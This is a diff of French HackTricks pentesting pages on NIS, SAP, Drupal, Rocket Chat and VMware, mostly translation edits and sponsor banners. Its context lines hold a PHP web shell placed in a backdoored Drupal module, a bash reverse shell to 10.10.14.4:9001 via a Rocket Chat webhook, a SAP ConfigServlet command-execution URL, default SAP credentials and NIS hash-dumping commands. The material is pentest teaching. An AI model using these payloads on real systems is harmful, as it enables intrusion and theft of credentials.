Si vous trouvez le service NFS, alors probablement vous pourrez lister et télécharger (et peut-être téléverser) des fichiers :
|
||||
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
Consultez [2049 - Test de pénétration du service NFS](nfs-service-pentesting.md) pour en savoir plus sur la façon de tester ce protocole.
|
||||
Consultez [2049 - Test de pénétration du service NFS](nfs-service-pentesting.md) pour en savoir plus sur comment tester ce protocole.
|
||||
|
||||
## NIS
|
||||
|
||||
Explorer les vulnérabilités de **NIS** implique un processus en deux étapes, commençant par l'identification du service `ypbind`. La pierre angulaire de cette exploration est la découverte du **nom de domaine NIS**, sans lequel tout progrès est stoppé.
|
||||
Explorer les vulnérabilités de **NIS** implique un processus en deux étapes, commençant par l'identification du service `ypbind`. La pierre angulaire de cette exploration est la découverte du **nom de domaine NIS**, sans lequel le progrès est stoppé.
|
||||
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
Le voyage d'exploration commence par l'installation des paquets nécessaires (`apt-get install nis`). L'étape suivante consiste à utiliser `ypwhich` pour confirmer la présence du serveur NIS en le pingant avec le nom de domaine et l'IP du serveur, en veillant à ce que ces éléments soient anonymisés pour des raisons de sécurité.
|
||||
Le voyage d'exploration commence par l'installation des paquets nécessaires (`apt-get install nis`). L'étape suivante nécessite l'utilisation de `ypwhich` pour confirmer la présence du serveur NIS en le pingant avec le nom de domaine et l'IP du serveur, en veillant à ce que ces éléments soient anonymisés pour des raisons de sécurité.
|
||||
|
||||
La dernière étape cruciale implique la commande `ypcat` pour extraire des données sensibles, en particulier les mots de passe d'utilisateurs chiffrés. Ces hachages, une fois craqués à l'aide d'outils comme **John the Ripper**, révèlent des informations sur l'accès au système et les privilèges.
|
||||
```bash
|
||||
|
@ -59,12 +68,12 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
```
|
||||
### Fichiers NIF
|
||||
|
||||
| **Fichier principal** | **Carte(s)** | **Remarques** |
|
||||
| --------------------- | ---------------------------- | --------------------------------------- |
|
||||
| **Fichier principal** | **Carte(s)** | **Remarques** |
|
||||
| --------------------- | ---------------------------- | ------------------------------------ |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | Contient les noms d'hôtes et les détails IP |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | Fichier de mots de passe utilisateur NIS |
|
||||
| /etc/group | group.byname, group.bygid | Fichier de groupe NIS |
|
||||
| /usr/lib/aliases | mail.aliases | Détails des alias de messagerie |
|
||||
| /etc/group | group.byname, group.bygid | Fichier de groupe NIS |
|
||||
| /usr/lib/aliases | mail.aliases | Détails des alias de messagerie |
|
||||
|
||||
## Utilisateurs RPC
|
||||
|
||||
|
@ -76,7 +85,7 @@ Vous pourriez énumérer les utilisateurs de la machine. Pour apprendre comment
|
|||
|
||||
## Contourner le port Portmapper filtré
|
||||
|
||||
Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouverts avec le port 111 filtré, l'exploitation directe de ces ports n'est pas réalisable. Cependant, en **simulant un service portmapper localement et en créant un tunnel depuis votre machine** vers la cible, l'exploitation devient possible en utilisant des outils standard. Cette technique permet de contourner l'état filtré du port 111, permettant ainsi l'accès aux services NFS. Pour des instructions détaillées sur cette méthode, consultez l'article disponible à [ce lien](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouverts avec le port 111 filtré, l'exploitation directe de ces ports n'est pas réalisable. Cependant, en **simulant un service portmapper localement et en créant un tunnel depuis votre machine** vers la cible, l'exploitation devient possible en utilisant des outils standard. Cette technique permet de contourner l'état filtré du port 111, permettant ainsi l'accès aux services NFS. Pour des directives détaillées sur cette méthode, consultez l'article disponible sur [ce lien](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -86,6 +95,10 @@ Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouv
|
|||
|
||||
* Pratiquez ces techniques sur la [**machine HTB Irked**](https://app.hackthebox.com/machines/Irked).
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Commandes automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
|
||||
|
@ -112,13 +125,13 @@ Command: nmap -sSUC -p 111 {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -12,6 +12,10 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Introduction à propos de SAP
|
||||
|
||||
|
@ -33,7 +37,7 @@ Le bruteforcing peut aider, cependant il peut y avoir un mécanisme de verrouill
|
|||
> La section suivante provient principalement de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) de l'utilisateur shipcod3 !
|
||||
|
||||
* Vérifiez la portée de l'application ou le résumé du programme pour les tests. Notez les noms d'hôtes ou les instances système pour se connecter à SAP GUI.
|
||||
* Utilisez l'OSINT \(renseignement en source ouverte\), Shodan et les Google Dorks pour vérifier les fichiers, les sous-domaines et les informations juteuses si l'application est accessible sur Internet ou publique :
|
||||
* Utilisez l'OSINT \(renseignement en source ouverte\), Shodan et Google Dorks pour vérifier les fichiers, sous-domaines et informations intéressantes si l'application est accessible sur Internet ou publique :
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -76,7 +80,7 @@ msf auxiliary(sap_service_discovery) > run
|
|||
|
||||
Voici la commande pour se connecter à SAP GUI `sapgui <nom d'hôte du serveur SAP> <numéro du système>`
|
||||
|
||||
* Vérifiez les identifiants par défaut \(Dans la Taxonomie de notation des vulnérabilités de Bugcrowd, cela est considéré comme P1 -> Mauvaise configuration de la sécurité du serveur \| Utilisation d'identifiants par défaut \| Serveur de production\):
|
||||
* Vérifier les identifiants par défaut \(Dans la Taxonomie de notation des vulnérabilités de Bugcrowd, cela est considéré comme P1 -> Mauvaise configuration de la sécurité du serveur \| Utilisation d'identifiants par défaut \| Serveur de production\):
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
|
@ -127,7 +131,7 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Exécutez Wireshark puis authentifiez-vous sur le client \(SAP GUI\) en utilisant les identifiants que vous avez obtenus car certains clients transmettent les identifiants sans SSL. Il existe deux plugins connus pour Wireshark qui peuvent disséquer les en-têtes principaux utilisés par le protocole SAP DIAG : le plug-in de dissection SAP SecureAuth Labs et le plug-in SAP DIAG du Positive Research Center.
|
||||
* Exécutez Wireshark puis authentifiez-vous sur le client \(SAP GUI\) en utilisant les identifiants que vous avez obtenus car certains clients transmettent les identifiants sans SSL. Il existe deux plugins connus pour Wireshark qui peuvent disséquer les en-têtes principaux utilisés par le protocole SAP DIAG : le plugin de disséction SAP SecureAuth Labs et le plugin SAP DIAG du Positive Research Center.
|
||||
* Vérifiez les élévations de privilèges comme l'utilisation de certains codes de transaction SAP \(tcodes\) pour les utilisateurs à faible privilège :
|
||||
* SU01 - Pour créer et maintenir les utilisateurs
|
||||
* SU01D - Pour afficher les utilisateurs
|
||||
|
@ -145,15 +149,15 @@ BWDEVELOPER:Down1oad:001
|
|||
|
||||
![Page d'accueil SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
* Recherchez les vulnérabilités web courantes \(Reportez-vous au Top 10 de l'OWASP\) car il y a des vulnérabilités XSS, RCE, XXE, etc. à certains endroits.
|
||||
* Recherchez les vulnérabilités web courantes \(Référez-vous au Top 10 de l'OWASP\) car il y a des vulnérabilités XSS, RCE, XXE, etc. à certains endroits.
|
||||
* Consultez la méthodologie de chasse aux bugs de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) pour tester les vulnérabilités web.
|
||||
* Contournement de l'authentification via la manipulation des verbes ? Peut-être :\)
|
||||
* Ouvrez `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` puis cliquez sur le bouton "Choisir" et ensuite dans la fenêtre ouverte appuyez sur "Rechercher". Vous devriez pouvoir voir une liste d'utilisateurs SAP \(Référence de vulnérabilité : [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
||||
* Les identifiants sont-ils soumis via HTTP ? Si c'est le cas, cela est considéré comme P3 selon la [Taxonomie de notation des vulnérabilités de Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy) : Authentification cassée et gestion de session faible \| Fonction de connexion faible sur HTTP. Astuce : Consultez également [http://SAP:50000/startPage](http://sap:50000/startPage) ou les portails de connexion :\)
|
||||
* Ouvrez `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` puis cliquez sur le bouton "Choose" et ensuite dans la fenêtre ouverte appuyez sur "Search". Vous devriez pouvoir voir une liste d'utilisateurs SAP \(Référence de vulnérabilité : [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
||||
* Les identifiants sont-ils soumis via HTTP ? Si c'est le cas, cela est considéré comme P3 selon la [Taxonomie de notation des vulnérabilités de Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy) : Authentification cassée et gestion de session faible \| Fonction de connexion faible via HTTP. Astuce : Consultez également [http://SAP:50000/startPage](http://sap:50000/startPage) ou les portails de connexion :\)
|
||||
|
||||
![Page de démarrage SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* Essayez `/irj/go/km/navigation/` pour une éventuelle liste de répertoires ou contournement de l'authentification
|
||||
* Essayez `/irj/go/km/navigation/` pour une éventuelle liste de répertoires ou un contournement de l'authentification
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info) contient des informations intéressantes :
|
||||
```xml
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
|
@ -253,7 +257,7 @@ exploit/windows/lpd/saplpd 2008-02
|
|||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
* Essayez d'utiliser des exploits connus (consultez Exploit-DB) ou des attaques comme le classique mais efficace "Exécution de code à distance de SAP ConfigServlet" dans le portail SAP :
|
||||
* Essayez d'utiliser des exploits connus (consultez Exploit-DB) ou des attaques comme le classique mais efficace "Exécution de code à distance de SAP ConfigServlet" dans le portail SAP:
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
|
@ -301,6 +305,9 @@ bizploit> start
|
|||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -311,8 +318,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Découverte
|
||||
|
||||
* Vérifiez **meta**
|
||||
|
@ -28,9 +33,9 @@ curl drupal-site.com/node/1
|
|||
|
||||
Drupal prend en charge **trois types d'utilisateurs** par défaut :
|
||||
|
||||
1. **`Administrateur`** : Cet utilisateur a un contrôle total sur le site Web Drupal.
|
||||
2. **`Utilisateur Authentifié`** : Ces utilisateurs peuvent se connecter au site Web et effectuer des opérations telles que l'ajout et la modification d'articles en fonction de leurs autorisations.
|
||||
3. **`Anonyme`** : Tous les visiteurs du site Web sont désignés comme anonymes. Par défaut, ces utilisateurs ne sont autorisés qu'à lire les publications.
|
||||
1. **`Administrateur`** : Cet utilisateur a un contrôle total sur le site web Drupal.
|
||||
2. **`Utilisateur Authentifié`** : Ces utilisateurs peuvent se connecter au site web et effectuer des opérations telles que l'ajout et la modification d'articles en fonction de leurs autorisations.
|
||||
3. **`Anonyme`** : Tous les visiteurs du site web sont désignés comme anonymes. Par défaut, ces utilisateurs ne sont autorisés qu'à lire les publications.
|
||||
|
||||
### Version
|
||||
|
||||
|
@ -123,7 +128,7 @@ curl http://drupal-site.local/node/3
|
|||
|
||||
### Module avec une porte dérobée
|
||||
|
||||
Un module avec une porte dérobée peut être créé en **ajoutant un shell à un module existant**. Les modules peuvent être trouvés sur le site drupal.org. Choisissons un module tel que [CAPTCHA](https://www.drupal.org/project/captcha). Faites défiler vers le bas et copiez le lien vers l'**archive** tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Un module avec une porte dérobée peut être créé en **ajoutant un shell à un module existant**. Les modules peuvent être trouvés sur le site drupal.org. Choisissons un module tel que [CAPTCHA](https://www.drupal.org/project/captcha). Faites défiler vers le bas et copiez le lien vers l'**archive tar.gz** [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Téléchargez l'archive et extrayez son contenu.
|
||||
```
|
||||
|
@ -136,7 +141,7 @@ tar xvf captcha-8.x-1.2.tar.gz
|
|||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Ensuite, nous devons créer un fichier **`.htaccess`** pour nous donner accès au dossier. Cela est nécessaire car Drupal refuse l'accès direct au dossier **`/modules`**.
|
||||
* Ensuite, nous devons créer un fichier **`.htaccess`** pour nous donner accès au dossier. C'est nécessaire car Drupal refuse l'accès direct au dossier **`/modules`**.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
|
@ -148,7 +153,7 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* En supposant que nous avons **un accès administratif** au site Web, cliquez sur **`Gérer`** puis sur **`Étendre`** dans la barre latérale. Ensuite, cliquez sur le bouton **`+ Installer un nouveau module`**, et nous serons redirigés vers la page d'installation, telle que `http://drupal-site.local/admin/modules/install`. Parcourez l'archive Captcha piégée et cliquez sur **`Installer`**.
|
||||
* En supposant que nous avons un **accès administratif** au site Web, cliquez sur **`Gérer`** puis sur **`Étendre`** dans la barre latérale. Ensuite, cliquez sur le bouton **`+ Installer un nouveau module`**, et vous serez redirigé vers la page d'installation, telle que `http://drupal-site.local/admin/modules/install`. Parcourez l'archive Captcha piégée et cliquez sur **`Installer`**.
|
||||
* Une fois l'installation réussie, accédez à **`/modules/captcha/shell.php`** pour exécuter des commandes.
|
||||
|
||||
## Post Exploitation
|
||||
|
@ -165,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez** 💬 le groupe [**Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,15 +10,20 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir une RCE.
|
||||
|
||||
* Allez dans **`Intégrations`** et sélectionnez **`Nouvelle intégration`** et choisissez n'importe laquelle : **`Webhook entrant`** ou **`Webhook sortant`**.
|
||||
* Allez dans **`Integrations`** et sélectionnez **`Nouvelle intégration`** et choisissez n'importe laquelle : **`Webhook entrant`** ou **`Webhook sortant`**.
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -44,6 +49,11 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
|
||||
* Appelez-le avec curl et vous devriez recevoir le shell inversé
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -53,7 +63,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,49 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# Énumération
|
||||
```text
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# Bruteforce
|
||||
```text
|
||||
|
||||
Le bruteforce est une technique utilisée pour deviner des informations sensibles telles que des mots de passe en essayant de nombreuses combinaisons possibles.
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
Si vous trouvez des identifiants valides, vous pouvez utiliser plus de modules de scanner Metasploit pour obtenir des informations.
|
||||
Si vous trouvez des identifiants valides, vous pouvez utiliser plus de modules de scan Metasploit pour obtenir des informations.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
